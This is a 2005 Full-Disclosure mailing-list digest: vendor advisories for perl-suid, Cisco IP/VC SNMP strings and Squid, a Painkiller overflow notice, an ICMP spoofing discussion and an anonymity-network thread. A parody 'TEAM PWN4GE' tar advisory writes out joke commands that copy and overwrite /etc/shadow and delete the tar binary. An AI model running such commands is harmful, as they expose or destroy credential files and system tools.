vulnerabilities involving setuid-enabled perl scripts have been discovered. The package "perl-suid" provides a wrapper around perl which allows to use setuid-root perl scripts, i.e. user-callable Perl scripts which have full root privileges. Previous versions allowed users to overwrite arbitrary files by setting the PERLIO_DEBUG environment variable and calling an arbitrary setuid-root perl script. The file that PERLIO_DEBUG points to was then overwritten by Perl debug messages. This did not allow precise control over the file content, but could destroy important data. PERLIO_DEBUG is now ignored for setuid scripts. (CAN-2005-0155) In addition, calling a setuid-root perl script with a very long path caused a buffer overflow if PERLIO_DEBUG was set. This buffer overflow could be exploited to execute arbitrary files with full root privileges. (CAN-2005-0156) Source archives: http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4-2ubuntu0.3.diff.gz Size/MD5: 57791 6838d5eb8b01a50895f60f899b7f9970 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4-2ubuntu0.3.dsc Size/MD5: 727 424d777c7a4f7e01e142bd907ec49134 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4.orig.tar.gz Size/MD5: 12094233 912050a9cb6b0f415b76ba56052fb4cf Architecture independent packages: http://security.ubuntu.com/ubuntu/pool/universe/p/perl/libcgi-fast-perl_5.8.4-2ubuntu0.3_all.deb Size/MD5: 36762 3187be1f92d688e34fca60c46f688ca9 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-doc_5.8.4-2ubuntu0.3_all.deb Size/MD5: 7049796 f64050a4658b325918e1d853d0f2cbc0 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-modules_5.8.4-2ubuntu0.3_all.deb Size/MD5: 2181384 b2a50b4f2dde034430bc84bbabc791cc amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl-dev_5.8.4-2ubuntu0.3_amd64.deb Size/MD5: 605434 2ca037b813fe14be47cafa2f27acd77b http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl5.8_5.8.4-2ubuntu0.3_amd64.deb Size/MD5: 1032 2bb8737a384a3786171d2ae2a3ed4a7a http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-base_5.8.4-2ubuntu0.3_amd64.deb Size/MD5: 787086 e5bb5502b6e90a29c74acc032b9e55c5 http://security.ubuntu.com/ubuntu/pool/universe/p/perl/perl-debug_5.8.4-2ubuntu0.3_amd64.deb Size/MD5: 3819860 1daaaa3016ad679e80199e19c5b901ef http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-suid_5.8.4-2ubuntu0.3_amd64.deb Size/MD5: 32832 0cb6d5e891a5524a8d88a2c42c866e57 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4-2ubuntu0.3_amd64.deb Size/MD5: 3834226 442c1ace9f9ea25dc24075c37ee2365b i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl-dev_5.8.4-2ubuntu0.3_i386.deb Size/MD5: 546882 60034b55abcae07a3d6c6052a3213463 http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl5.8_5.8.4-2ubuntu0.3_i386.deb Size/MD5: 494062 6588b891ea5946652fbfa57529ab63c7 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-base_5.8.4-2ubuntu0.3_i386.deb Size/MD5: 727402 9f372c22dbe904e4986c20db27ca4eab http://security.ubuntu.com/ubuntu/pool/universe/p/perl/perl-debug_5.8.4-2ubuntu0.3_i386.deb Size/MD5: 3631146 a4e235f9ee4b5b4c00af9681c462f9cb http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-suid_5.8.4-2ubuntu0.3_i386.deb Size/MD5: 30812 70923ad1d98c214f7d74b3fcd33fd8a3 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4-2ubuntu0.3_i386.deb Size/MD5: 3229674 c1eefcf39facb03157c59a0f87ff7471 powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl-dev_5.8.4-2ubuntu0.3_powerpc.deb Size/MD5: 560992 17dd72a903ea7cb68dde0b937c18dbbd http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl5.8_5.8.4-2ubuntu0.3_powerpc.deb Size/MD5: 1032 b30fdccfa2463633641622427cbcaa73 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-base_5.8.4-2ubuntu0.3_powerpc.deb Size/MD5: 718224 c200522dfa69b9810d66dd94a5102f6f http://security.ubuntu.com/ubuntu/pool/universe/p/perl/perl-debug_5.8.4-2ubuntu0.3_powerpc.deb Size/MD5: 3817106 3fbeaca89ae2b2a54adb0b01b282f8bd http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-suid_5.8.4-2ubuntu0.3_powerpc.deb Size/MD5: 30558 606caf5631780c2941118a5bbd6b2fd4 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4-2ubuntu0.3_powerpc.deb Size/MD5: 3477176 d1e921f275e597dc1b59d6ca5680c07e -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050202/cc90b345/attachment.bin From mailinglists at vanscherpenseel.nl Wed Feb 2 14:51:23 2005 From: mailinglists at vanscherpenseel.nl (Vincent van Scherpenseel) Date: Wed, 2 Feb 2005 15:51:23 +0100 Subject: [Full-Disclosure] some interresting project i just stumbled across... In-Reply-To: <200502021202.j12C2Xrs016786@lists.netsys.com> References: <200502021202.j12C2Xrs016786@lists.netsys.com> Message-ID: <200502021551.23851.mailinglists@vanscherpenseel.nl> On Wednesday 02 February 2005 12:57, Oliver Leitner wrote: > I was just surfing a bit around and came across this interresting sounding > project. > > http://entropy.stop1984.com/ This looks a lot like The Freenet Project (http://freenetproject.org/). Freenet also allows total free speech, but of course the downside of this is the availability of illegal stuff (think childporn, etc.) on the network. But this is the only way to ensure a network which is totally free of censorship. - Vincent van Scherpenseel From mikie.simpson at gmail.com Wed Feb 2 15:06:08 2005 From: mikie.simpson at gmail.com (Michael Simpson) Date: Wed, 2 Feb 2005 15:06:08 +0000 Subject: [Full-Disclosure] some interresting project i just stumbled across... In-Reply-To: <200502021202.j12C2Xrs016786@lists.netsys.com> References: <200502021202.j12C2Xrs016786@lists.netsys.com> Message-ID: <82abd3a705020207061dc12dc1@mail.gmail.com> so it is basically freenet but running on a different port (8482 rather than 8481) what's the point snip [1] This is only true if the network has reached a sufficient size and if there is enough traffic to hide the source and destination of specific packets travelling the network. Only then it will be impossible to guess the source of data from log files. /snip anonymity through obscurity through packet deluge, shurely a script could be coined that could sort those logs though i suppose that they are saying that the only direct info that can be gleaned is through the sideband of traffic analysis which gets more difficult as the usage of the bandwidth increases. The crypto literature seems to sugggest that only teh military have enough resources to be continuously caning their bandwidth in order to hide any traffic pattern leakage of info schnip Entropy supports the Freenet Client Protocol (FCP) so that existing clients can easily and quickly be used for Entropy. Freenet (http://freenetproject.org) and Entropy can be used at the same time. One example for those clients is Frost (http://jtcfrost.sourceforge.net/), a software originally written for Freenet. Frost can be used for exchanging news and files (it serves as messageboard and file-sharing client at the same time) and can be used for both Freenet and Entropy. /schnip have these guys got beef with freenet? On Wed, 2 Feb 2005 12:57:09 +0100, Oliver Leitner wrote: > I was just surfing a bit around and came across this interresting sounding > project. > > http://entropy.stop1984.com/ > > here is a short description of what it is from their page: > > "ENTROPY stands for Emerging Network To Reduce Orwellian Potency Yield and as > such describes the main goal of the project. > > * ENTROPY is developed as a response to increasing censorship and > surveillance in the internet. The program connects your computer to a network > of machines which all run this software. The ENTROPY network is running > parallel to the WWW and also other internet services like FTP, email, ICQ. > etc. > * For the user the ENTROPY network looks like a collection of WWW pages. > The difference to the WWW however is that there are no accesses to central > servers. And this is why there is no site operator who could log who > downloaded what and when. Every computer taking part in the ENTROPY network > (every node) is at the same time server, router for other nodes, caching > proxy and client for the user: that is You. > * After you gained some experience with the ENTROPY network, there are > command line tools for you to insert whole directory trees into the network > as a ENTROPY site. So ENTROPY does for you what a webspace provider does for > you in the WWW - but without the storage and bandwidth costs and without any > regulation or policy as to what kind of content you are allowed to publish. > Everyone can contribute his own ENTROPY site for everybody else to browse > through. The contents is stored in a distributed manner across all available > and reachable nodes and no one can find out about who put up what contents > into the network [1]. Even if your node is not actively running, your > contents can be retrieved by others -- without knowing that it was actually > you who published the files. Of course this is only true if you do not > publish your name (or leave your name or other personal data in the files you > publish) > > Have fun, > Juergen " > > so i thought i might share the url with you peoples. > > If you have any suggestions for the project, contact em, and not me, i am not > a developer there) > > Greetings > Oliver Leitner > Technical Staff > http://www.shells.at > -- > By reading this mail you agree to the following: > > using or giving out the email address and any > other info of the author of this email is strictly forbidden. > By acting against this agreement the author of this mail > will take possible legal actions against the abuse. > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > From mailinglists at vanscherpenseel.nl Wed Feb 2 15:13:17 2005 From: mailinglists at vanscherpenseel.nl (Vincent van Scherpenseel) Date: Wed, 2 Feb 2005 16:13:17 +0100 Subject: [Full-Disclosure] some interresting project i just stumbled across... In-Reply-To: <200502021551.23851.mailinglists@vanscherpenseel.nl> References: <200502021202.j12C2Xrs016786@lists.netsys.com> <200502021551.23851.mailinglists@vanscherpenseel.nl> Message-ID: <200502021613.17313.mailinglists@vanscherpenseel.nl> On Wednesday 02 February 2005 12:57, Oliver Leitner wrote: > I was just surfing a bit around and came across this interresting > sounding project. > > http://entropy.stop1984.com/ This looks a lot like The Freenet Project (http://freenetproject.org/). Freenet also allows total free speech, but of course the downside of this is the availability of illegal stuff (think childpr0n, etc.) on the network. But this is the only way to ensure a network which is totally free of censorship. ?- Vincent van Scherpenseel PS: It seems that the mailinglist software blocks any message containing the regular English word for 'childpr0n'. Talking about Full Disclosure? ;) ;) From aluigi at autistici.org Wed Feb 2 17:30:26 2005 From: aluigi at autistici.org (Luigi Auriemma) Date: Wed, 2 Feb 2005 17:30:26 +0000 Subject: [Full-Disclosure] Limited buffer-overflow in Painkiller 1.35 Message-ID: <20050202173026.6df8e8cb.aluigi@autistici.org> ####################################################################### Luigi Auriemma Application: Painkiller http://www.painkillergame.com Versions: <= 1.35 Platforms: Windows Bug: limited buffer-overflow Exploitation: remote, versus server (in-game) Date: 02 Feb 2005 Author: Luigi Auriemma e-mail: aluigi at autistici.org web: http://aluigi.altervista.org ####################################################################### 1) Introduction 2) Bug 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== Painkiller is the great FPS game developed by People can Fly (http://www.peoplecanfly.com) and released in April 2004. ####################################################################### ====== 2) Bug ====== The bug is about the buffer that must contain the Gamespy cd-key hash for the online server-side authorization. This buffer is limited to 100 bytes (the Gamespy cd-key hash is long 72 chars), so if an attacker uses a longer hash will be able to overflow the buffer. However exist two limitations for the exploitation of this bug, the first is that only alpha-numeric chars are allowed (1-9, A-Z and a-z) while the second is not so important since this is an in-game bug, so if a server is protected by password the attacker must know it. ####################################################################### =========== 3) The Code =========== http://aluigi.altervista.org/poc/painkkeybof.zip ####################################################################### ====== 4) Fix ====== Version 1.61. ####################################################################### --- Luigi Auriemma http://aluigi.altervista.org From vincent at vanscherpenseel.nl Wed Feb 2 15:53:57 2005 From: vincent at vanscherpenseel.nl (Vincent van Scherpenseel) Date: Wed, 2 Feb 2005 16:53:57 +0100 Subject: [OT] Re: [Full-Disclosure] some interresting project i just stumbled across... In-Reply-To: <200502021613.17313.mailinglists@vanscherpenseel.nl> References: <200502021202.j12C2Xrs016786@lists.netsys.com> <200502021551.23851.mailinglists@vanscherpenseel.nl> <200502021613.17313.mailinglists@vanscherpenseel.nl> Message-ID: <200502021653.57939.vincent@vanscherpenseel.nl> On Wednesday 02 February 2005 16:13, Vincent van Scherpenseel wrote: > PS: It seems that the mailinglist software blocks any message containing > the regular English word for 'childpr0n'. Talking about Full Disclosure? ;) Whoops, it seems not. Just got several 'this message has been blocked' messages from mailinglist members and didn't receive my own message within 20 minutes or so. Should had looked better before drawing the wrong conclusions, sorry. - Vincent van Scherpenseel From psirt at cisco.com Wed Feb 2 16:00:00 2005 From: psirt at cisco.com (Cisco Systems Product Security Incident Response Team) Date: Wed, 2 Feb 2005 16:00:00 GMT Subject: [Full-Disclosure] Cisco Security Advisory: Default SNMP Community Strings in Cisco IP/VC Products Message-ID: <20050202.cisco-sa-20020202-ipvc@psirt.cisco.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Cisco Security Advisory: Default SNMP Community Strings in Cisco IP/VC Products Revision 1.0 For Public Release 2005 February 02 16:00 UTC (GMT) Summary ======= Hard-coded Simple Network Management Protocol (SNMP) community strings are present in Cisco IP/VC Videoconferencing System models 3510, 3520, 3525 and 3530. Any user who has access to the vulnerable devices and knows the community strings, can obtain total control of the device. Cisco strongly recommends that all users deploy the mitigation measures outlined in the Workaround section. This advisory is available at http://www.cisco.com/warp/public/707/cisco-sa-20050202-ipvc.shtml. Affected Products ================= Vulnerable Products - ------------------- The following products are known to be vulnerable: * Cisco IPVC-3510-MCU * Cisco IPVC-3520-GW-2B * Cisco IPVC-3520-GW-4B * Cisco IPVC-3520-GW-2V * Cisco IPVC-3520-GW-4V * Cisco IPVC-3520-GW-2B2V * Cisco IPVC-3525-GW-1P * Cisco IPVC-3530-VTA Products Confirmed Not Vulnerable - --------------------------------- The following products are known not to be vulnerable: * Cisco IPVC-3511-MCU * Cisco IPVC-3511-MCU-E * Cisco IPVC-3521-GW-4B * Cisco IPVC-3526-GW-1P * Cisco IPVC-3540-EMP * Cisco IPVC-3540-EMP3 * Cisco IPVC-3540-MCU03A * Cisco IPVC-3540-MCU06A * Cisco IPVC-3540-MCU10A * Cisco IPVC-3540-GW2P * Cisco IPVC-3540-GW4S No other Cisco products are currently known to be affected by this vulnerability. In particular, video-enabled Cisco IP video telephones are not affected. Details ======= Affected products contain hard-coded SNMP community strings. SNMP is used for managing and monitoring an IP/VC device and community strings are the equivalent to a password. All models listed as affected are vulnerable regardless of the software release they are running. There is no Cisco bug ID associated with this issue. Impact ====== A user with knowledge of the community strings can gain full control of the device. Such user can, among other things, create new services, terminate or affect existing sessions, and redirect traffic to a different destination. Software Versions and Fixes =========================== Cisco will not provide fixed software for this vulnerability. Customers are strongly advised to deploy the mitigation measures described in the Workaround section. Obtaining Fixed Software ======================== There is no fixed software for this issue. All customers are strongly advised to deploy the mitigation measures. Additionally, customers who are considering replacing the affected models can contact their Cisco sales representative. If you need assistance with the implementation of the workarounds, or have questions on the workarounds, please contact the Cisco Technical Assistance Center (TAC). * +1 800 553 2447 (toll free from within North America) * +1 408 526 7209 (toll call from anywhere in the world) * e-mail: tac at cisco.com See http://www.cisco.com/warp/public/687/Directory/DirTAC.shtml for additional TAC contact information, including special localized telephone numbers and instructions and e-mail addresses for use in various languages. Customers may only install and expect support for the feature sets they have purchased. By installing, downloading, accessing or otherwise using such software upgrades, customers agree to be bound by the terms of Cisco's software license terms found at http://www.cisco.com/public/sw-license-agreement.html, or as otherwise set forth at Cisco.com Downloads at http://www.cisco.com/public/sw-center/sw-usingswc.shtml. Workarounds =========== The only mitigation for this vulnerability is to disable SNMP traffic at the switch port that is connected to the affected device. If that cannot be done, the SNMP traffic to the IP/VC device should be blocked at the nearest possible point. In order for the mitigation to be successful all possible paths to the device must be protected. This can be done by blocking traffic on UDP (User Datagram Protocol) ports 161 and 162. Port 161 is used for inbound/outbound read/write SNMP access and port 162 is used for outbound traffic for SNMP traps. Blocking these ports disables all configuration and traps to/from the device. Access to ports 161 and 162 from the trusted hosts should be temporarily enabled and the IPVC Configuration Utility used when configuration changes are required on the affected IP/VC device. The effectiveness of any workaround is dependent on specific customer situations such as product mix, network topology, traffic behavior, and organizational mission. Due to the variety of affected products and releases, customers should consult with their service provider or support organization to ensure any applied workaround is the most appropriate for use in the intended network before it is deployed. Exploitation and Public Announcements ===================================== The Cisco PSIRT is not aware of any public announcements or malicious use of the vulnerability described in this advisory. Status of This Notice: FINAL ============================ THIS ADVISORY IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTY OF MERCHANTABILITY. YOUR USE OF THE INFORMATION ON THE ADVISORY OR MATERIALS LINKED FROM THE ADVISORY IS AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS NOTICE AT ANY TIME. A stand-alone copy or paraphrase of the text of this security advisory that omits the distribution URL in the following section is an uncontrolled copy, and may lack important information or contain factual errors. Distribution ============ This advisory is posted on Cisco's worldwide website at http://www.cisco.com/warp/public/707/cisco-sa-20050202-ipvc.shtml. In addition to worldwide web posting, a text version of this notice is clear-signed with the Cisco PSIRT PGP key and is posted to the following e-mail and Usenet news recipients. * cust-security-announce at cisco.com * first-teams at first.org (includes CERT/CC) * bugtraq at securityfocus.com * vulnwatch at wulnwatch.org * cisco at spot.colorado.edu * cisco-nsp at puck.nether.net * full-disclosure at lists.netsys.com * comp.dcom.sys.cisco at newsgate.cisco.com Future updates of this advisory, if any, will be placed on Cisco's worldwide website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the above URL for any updates. Revision History ================ +--------------+------------------+------------------------+ | Revision 1.0 | 2005-February-02 | Initial public release | +--------------+------------------+------------------------+ Cisco Security Procedures ========================= Complete information on reporting security vulnerabilities in Cisco products, obtaining assistance with security incidents, and registering to receive security information from Cisco, is available on Cisco's worldwide website at http://www.cisco.com/warp/public/707/sec_incident_response.shtml. This includes instructions for press inquiries regarding Cisco security notices. All Cisco security advisories are available at http://www.cisco.com/go/psirt. - ------------------------------------------------------------------------ All contents are Copyright ? 1992-2005 Cisco Systems, Inc. All rights reserved. Important Notices and Privacy Statement. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (Cygwin) iD8DBQFCAKL0ezGozzK2tZARAnDsAKDPtKQOi5XeOhYFib0/l0lnRnk0xwCfSPJP iew3cWtCc6FYg54HekSyV8Q= =/W4s -----END PGP SIGNATURE----- From sovrevage at gmail.com Wed Feb 2 17:12:50 2005 From: sovrevage at gmail.com (=?ISO-8859-1?Q?Stian_=D8vrev=E5ge?=) Date: Wed, 2 Feb 2005 18:12:50 +0100 Subject: [Full-Disclosure] ICMP Covert channels question In-Reply-To: <1ede00f705013006247ad82427@mail.gmail.com> References: <1ede00f705012814451ccbd1cd@mail.gmail.com> <1ede00f705013006247ad82427@mail.gmail.com> Message-ID: Hi cyberpixl! It's fascinating how you can bounce traffic and information by using stateless protocols and fake source addresses. However, you are not really hiding yourself, on packets leaving an internal network, destined for the bouncer, will contain your source address and vica verca. Don't you think it's a little strange if packets with source address 88.88.88.88 was leaving your 10.0.0.0 network? Or packets from 10.0.0.33 was comming in on the WAN interface? Also, packet filtering is based on router configuration. More and more administrators are filtering packets with unexpected source and/or destination addresses ( ingress and egress filtering ). My conclusion is, bouncing packets does not help hiding you, in fact, it does just the opposite. The level of technical challenges are also increasing. On Sun, 30 Jan 2005 15:24:02 +0100, cyberpixl wrote: > > > > No, because non-routeable addresses are...well....non-routeable. The only > > exception to this is *if* the target machine already had a session going > > with 33.33.33.33 (and it would obviously be nat'd/pat'd) there is a snort > > time frame within with your icmp packet would be delivered because the > > firewall is still translating the address/port for that session. > > > > Of course you have to know in advance all those variables, so, since you're > > sitting right there, just pound the dern thing with a hammer and be done > > with it. :-) > > > > Paul Schmehl (pauls at utdallas.edu) > > Adjunct Information Security Officer > > The University of Texas at Dallas > > AVIEN Founding Member > > http://www.utdallas.edu > > > > Well, what i meant was what if i use the networks router as a bounce > host in order to get the packets into the network? If an icmp packet > arrives at routers wan port with a source ip of an internal host will > it send the echoreply to its lan port? I currently haven't got the > chance to test this, but i will as soon as i can. Then, in order to > receive replyes from the host behind the firewall all I'd have to do > is make it send packets to a bounce server outsede the network, like > google.com with source set to my ip (assuming then that the router > freely allows icmp traffic out of the network). > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > From Valdis.Kletnieks at vt.edu Wed Feb 2 18:02:07 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Wed, 02 Feb 2005 13:02:07 -0500 Subject: [Full-Disclosure] ICMP Covert channels question In-Reply-To: Your message of "Wed, 02 Feb 2005 18:12:50 +0100." References: <1ede00f705012814451ccbd1cd@mail.gmail.com> <1ede00f705013006247ad82427@mail.gmail.com> Message-ID: <200502021802.j12I27aN024719@turing-police.cc.vt.edu> On Wed, 02 Feb 2005 18:12:50 +0100, =?ISO-8859-1?Q?Stian_=D8vrev=E5ge?= said: > Don't you think it's a little strange if packets with source address > 88.88.88.88 was leaving your 10.0.0.0 network? Or packets from > 10.0.0.33 was comming in on the WAN interface? > > Also, packet filtering is based on router configuration. More and more > administrators are filtering packets with unexpected source and/or > destination addresses ( ingress and egress filtering ). The number of sites doing proper filtering may be growing, but it's certainly still low enough that the attack still has a fairly high chance of working. Also, there's another benefit to the attack - if the site isn't clued enough to do basic bogon filtering, it's even *more* likely to throw any investigation off in the wrong direction. You're also missing another point - an inbound packet from 10/8 would certainly look fishy. But would you question a packet that came in from 64.236/16 or 64.12/16 or anywhere in akadns.net's address space? (cnn.com lives in the first, AOL's mail servers in the second, and google is an akadns beast...) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050202/21aa2eac/attachment.bin From emiraga at emiraga.com Wed Feb 2 19:55:15 2005 From: emiraga at emiraga.com (emiraga) Date: Wed, 02 Feb 2005 20:55:15 +0100 Subject: [Full-Disclosure] MSN search down Message-ID: <42013023.5020204@emiraga.com> so, out Bill Gates announced NEW SEARCH get lost kiddiez -------------- next part -------------- A non-text attachment was scrubbed... Name: stupidmsn.jpg Type: image/jpeg Size: 19135 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050202/2eb03778/attachment.jpg From jaervosz at gentoo.org Wed Feb 2 20:06:09 2005 From: jaervosz at gentoo.org (Sune Kloppenborg Jeppesen) Date: Wed, 2 Feb 2005 21:06:09 +0100 Subject: [Full-Disclosure] [ GLSA 200502-04 ] Squid: Multiple vulnerabilities Message-ID: <200502022106.13838.jaervosz@gentoo.org> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200502-04:02 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: Squid: Multiple vulnerabilities Date: February 02, 2005 Updated: February 02, 2005 Bugs: #79495, #78776, #80201, #80341 ID: 200502-04:02 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Squid contains vulnerabilities in the code handling WCCP, HTTP and LDAP which could lead to Denial of Service, access control bypass, web cache and log poisoning. Background ========== Squid is a full-featured Web proxy cache designed to run on Unix systems. It supports proxying and caching of HTTP, FTP, and other protocols, as well as SSL support, cache hierarchies, transparent caching, access control lists and many other features. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 www-proxy/squid < 2.5.7-r5 >= 2.5.7-r5 Description =========== Squid contains several vulnerabilities: * Buffer overflow when handling WCCP recvfrom() (CAN-2005-0211). * Loose checking of HTTP headers (CAN-2005-0173 and CAN-2005-0174). * Incorrect handling of LDAP login names with spaces (CAN-2005-0175). Impact ====== An attacker could exploit: * the WCCP buffer overflow to cause Denial of Service. * the HTTP header parsing vulnerabilities to inject arbitrary response data, potentially leading to content spoofing, web cache poisoning and other cross-site scripting or HTTP response splitting attacks. * the LDAP issue to login with several variations of the same login name, leading to log poisoning. Workaround ========== There is no known workaround at this time. Resolution ========== All Squid users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=www-proxy/squid-2.5.7-r5" References ========== [ 1 ] CAN-2005-0173 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0173 [ 2 ] CAN-2005-0174 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0174 [ 3 ] CAN-2005-0175 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0175 [ 4 ] CAN-2005-0211 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0211 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200502-04.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050202/d38e8281/attachment.bin From y_avenger_y at ua.fm Wed Feb 2 20:01:29 2005 From: y_avenger_y at ua.fm (Alex V. Lukyanenko) Date: Wed, 2 Feb 2005 22:01:29 +0200 Subject: [Full-Disclosure] some interresting project i just stumbled across... In-Reply-To: <200502021551.23851.mailinglists@vanscherpenseel.nl> References: <200502021202.j12C2Xrs016786@lists.netsys.com> <200502021551.23851.mailinglists@vanscherpenseel.nl> Message-ID: <449143977.20050202220129@ua.fm> Hello. VvS> PS: It seems that the mailinglist software blocks any message containing the VvS> regular English word for 'childpr0n'. Talking about Full Disclosure? No, it doesn't block childporn, both your messages (0bphu5c at t3d and normal) made it through... -- Alex V. Lukyanenko | 86195208 at icq Wednesday, February 2, 2005, 4:51:23 PM, Vincent van Scherpenseel wrote: VvS> On Wednesday 02 February 2005 12:57, Oliver Leitner wrote: >> I was just surfing a bit around and came across this interresting sounding >> project. >> >> http://entropy.stop1984.com/ VvS> VvS> This looks a lot like The Freenet Project VvS> (http://freenetproject.org/). VvS> Freenet also allows total free speech, but of course the downside of this is VvS> the availability of illegal stuff (think childporn, etc.) on the network. But VvS> this is the only way to ensure a network which is totally free of censorship. VvS> - Vincent van Scherpenseel VvS> _______________________________________________ VvS> Full-Disclosure - We believe in it. VvS> Charter: http://lists.netsys.com/full-disclosure-charter.html From team_pwn4ge at outgun.com Wed Feb 2 20:32:08 2005 From: team_pwn4ge at outgun.com (Team Pwnge) Date: Thu, 03 Feb 2005 04:32:08 +0800 Subject: [Full-Disclosure] UNIX Tar Security Advisory from TEAM PWN4GE Message-ID: <20050202203211.8796F21AFF9@ws5-6.us4.outblaze.com> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - TEAM PWN4GE Security Advisory PWNED - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: HIGH Title: TAR: Local root exploit using Tar Date: February 02, 2005 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== An evil malicious, vile, disgusting, atrocious vulnerability has been found to exist on Unix based machines with the tar binary. Background ========== TAR is a Unix based tool used to compress files. It is nowhere near as functional or useable as WinZip, but nevertheless Unix users need love too, Affected versions ================= All versions of Unix based variants using TAR can be pwn0rf13d. Description =========== Shotgun Willie of TEAM PWN4G3 discovered that an unobservant (l)user can extract the contents of a tarball overwriting his shadow (or for) those "others", master.passwd files leading to maximum pwn4ge. Proof of Concept ================ # tar -cf parishiltonpr0n.tar /etc/shadow # mv /path/to/htdocs/parishiltonpr0n.tar # ssh pwn4ge at localhost pwn4ge at localhost's password: Last login: Wed Feb 2 14:48:41 2005 from sec.msft.com Sun Microsystems Inc. SunOS 5.10 PWN4GEKERNEL Jan 2005 You have mail. $ wget www.(PROTECTEDSITENAME).net/parishiltonpr0n.tar --15:42:02-- http://www.(PROTECTEDSITENAME).net/parishiltonpr0n.tar => `parishiltonpr0n.tar' Resolving www.(PROTECTEDSITENAME).net... done. Connecting to www.(PROTECTEDSITENAME).net[198.81.129.100]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 1,163 [application/x-tar] 100%[=================================================================================>] 1,163 1.11M/s ETA 00:00 15:42:02 (1.11 MB/s) - `rechecker.tar.gz' saved [1163/1163] $ echo "w00t" $ tar -xvf parishiltonpr0n.tar tar: blocksize = 8 x /etc/shadow, 1100 bytes, 5 tape blocks # echo "pwn3d d4t 3ss sux0r!@ h0 h0 h0" Impact ====== All your nix belong to us. Workaround ========== On your shell: rm `which tar` & echo "Security is glorious amen" Concerns? ========= Security is a primary focus of TEAM PWN4GE and ensuring the progress of a secure Interweb be our dreams and visions. As security concerns should be addressed to respective vendors, we feel the urge to bypass standards and bring our common dreams of a secure homeland to the Interweb. License ======= Copyright 2005 TEAM PWN4GE The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -- _______________________________________________ Outgun.com free e-mail @ www.outgun.com Check out our Premium services - POP3 downloading, e-mail forwarding, and 25MB mailboxes! Powered by Outblaze From vtlists at wyae.de Wed Feb 2 22:18:12 2005 From: vtlists at wyae.de (Volker Tanger) Date: Wed, 2 Feb 2005 23:18:12 +0100 Subject: [Full-Disclosure] UNIX Tar Security Advisory from TEAM PWN4GE Message-ID: <20050202231812.420693ce.vtlists@wyae.de> Greetings! On Thu, 03 Feb 2005 04:32:08 +0800 "Team Pwnge" wrote: > - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - > - TEAM PWN4GE Security Advisory > PWNED - - - - - - - - - - - - - - - - - - - - - - - - - - - 